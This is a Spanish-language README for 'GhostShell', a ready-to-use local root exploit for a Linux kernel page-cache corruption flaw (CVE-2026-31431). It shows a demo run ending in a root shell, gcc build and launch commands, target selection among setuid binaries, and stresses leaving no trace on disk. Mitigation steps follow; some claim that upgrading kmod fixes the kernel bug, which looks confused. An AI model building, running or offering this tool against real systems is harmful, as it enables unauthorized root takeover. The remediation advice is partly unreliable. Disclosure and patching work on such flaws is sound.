
CVE-2026-31431 — Escalada de privilegios locales mediante corrupción de la caché de páginas del kernel de Linux
CVE-2026-31431 — Escalada de Privilegios Local mediante Corrupción de la Caché de Páginas del Kernel de Linux
GhostShell es una herramienta de escalada de privilegios local que explota una falla en la implementación del cifrado AEAD authencesn del kernel de Linux para obtener una shell de root desde una cuenta de usuario sin privilegios. Corrompe la caché de páginas en memoria de un binario setuid-root (p. ej. /usr/bin/su) insertando shellcode en su punto de entrada, y luego lo ejecuta — obteniendo setuid(0) + setgid(0) y lanzando una /bin/sh privilegiada. No se modifica ningún archivo en disco; solo se ve afectada la caché de páginas en memoria.
En resumen: lo ejecutas como usuario normal y te deja en una shell de root.
Descubierto y divulgado por Theori / Xint. Informe completo: copy.fail
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Objetivo: /usr/bin/su
Tamaño: 63576 bytes
Offset de entrada: 0x1a50
Shellcode: 94 bytes (24 iteraciones)
[*] Comprobando si el kernel es vulnerable...
[+] El kernel ES vulnerable.
[*] Corrompiendo la caché de páginas de /usr/bin/su con shellcode...
[*] Parcheando offset 0x01a50 (24/24) ...
[*] Verificando la corrupción de la caché de páginas...
[+] ¡Shellcode verificado en la caché de páginas!
[*] Ejecutando binario setuid corrupto...
[*] Si tiene éxito, ahora deberías tener una shell de root.
[*] Sin rastro en disco. Solo fantasmas en la caché.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Linux 4.14 (agosto de 2017) hasta los kernels parcheados en abril de 2026.
kmodLa solución recomendada para CVE-2026-31431 es parchear el paquete kmod (utilidades de módulos del kernel) que incluye el módulo de cifrado AEAD authencesn vulnerable. Los principales distribuidores han publicado paquetes actualizados que deshabilitan o corrigen la ruta de descifrado in-place de splice().
# Comprobar la versión actual de kmod
modprobe --version
# Actualizar a la versión parcheada
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# Verificar la actualización
modprobe --version
# Actualizar kmod a la versión parcheada
sudo dnf update kmod
# Verificar
rpm -q kmod
sudo pacman -Syu kmod
Después de parchear kmod, confirma que el módulo vulnerable authencesn ya no se puede cargar o que se ha actualizado:
# Intentar cargar el módulo — en sistemas parcheados debería fallar o informar de la versión corregida
modinfo authencesn
# Alternativamente, comprobar que el kernel en ejecución incluye el parche de abril de 2026
uname -r # debería ser >= la versión del kernel parcheado para tu distribución
Si no puedes actualizar kmod de inmediato, puedes bloquear la carga del módulo de cifrado vulnerable:
# Bloquear el módulo authencesn
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# También bloquear el módulo genérico authenc por si acaso
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# Descargarlo si está cargado (puede fallar si está en uso)
sudo modprobe -r authencesn 2>/dev/null
Reinicia después de parchear o aplicar la solución alternativa para asegurar que cualquier entrada corrupta de la caché de páginas se elimine.
| SO | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-22-generic |
⚠️ Este exploit solo se ha probado en el sistema anterior. Los resultados pueden variar en otras distribuciones o versiones de kernel.
<linux/if_alg.h>) — normalmente incluidas con linux-libc-devInstala las dependencias de compilación en Ubuntu/Debian:
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
gcc -Wall -Wextra -o ghostshell ghostshell.c
No se requieren bibliotecas externas.
Detección automática del objetivo (comprueba binarios setuid comunes como su, sudo, passwd):
./ghostshell
Especificar un objetivo manualmente:
./ghostshell /usr/bin/sudo
Si el kernel es vulnerable, se te llevará a una shell de root (#).
_start.patch_chunk() (24 iteraciones), usando la falla de descifrado in-place de splice() de AF_ALG.execl() sobre el binario corrupto. El kernel lo carga desde la caché de páginas y el shellcode se ejecuta con privilegios setuid-root, lanzando una shell de root.El exploit solo corrompe la caché de páginas en memoria. Un simple reinicio la elimina por completo.
Para vaciar las cachés sin reiniciar:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
Si las páginas sucias se escribieron de vuelta al disco (poco probable pero posible), reinstala el paquete afectado:
sudo apt-get install --reinstall util-linux # para /usr/bin/su
Esta herramienta se proporciona solo con fines educativos y de investigación de seguridad autorizada. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal. El autor no asume ninguna responsabilidad por el mal uso.
Este proyecto está licenciado bajo la Licencia MIT.
Se otorga permiso, de forma gratuita, a cualquier persona que obtenga una copia de este software y de los archivos de documentación asociados (el "Software"), para tratar el Software sin restricción, incluidos, sin limitación, los derechos de usar, copiar, modificar, fusionar, publicar, distribuir, sublicenciar y/o vender copias del Software, y para permitir a las personas a quienes se les proporcione el Software hacerlo, sujeto a las siguientes condiciones:
El aviso de copyright anterior y este aviso de permiso se incluirán en todas las copias o partes sustanciales del Software.
EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA, INCLUIDAS, ENTRE OTRAS, LAS GARANTÍAS DE COMERCIABILIDAD, IDONEIDAD PARA UN FIN PARTICULAR Y NO INFRACCIÓN. EN NINGÚN CASO LOS AUTORES O TITULARES DEL COPYRIGHT SERÁN RESPONSABLES DE CUALQUIER RECLAMO, DAÑO U OTRA RESPONSABILIDAD, YA SEA EN UNA ACCIÓN DE CONTRATO, AGRAVIO O DE OTRO MODO, QUE SURJA DE, O EN RELACIÓN CON EL SOFTWARE O EL USO U OTROS TRATOS EN EL SOFTWARE.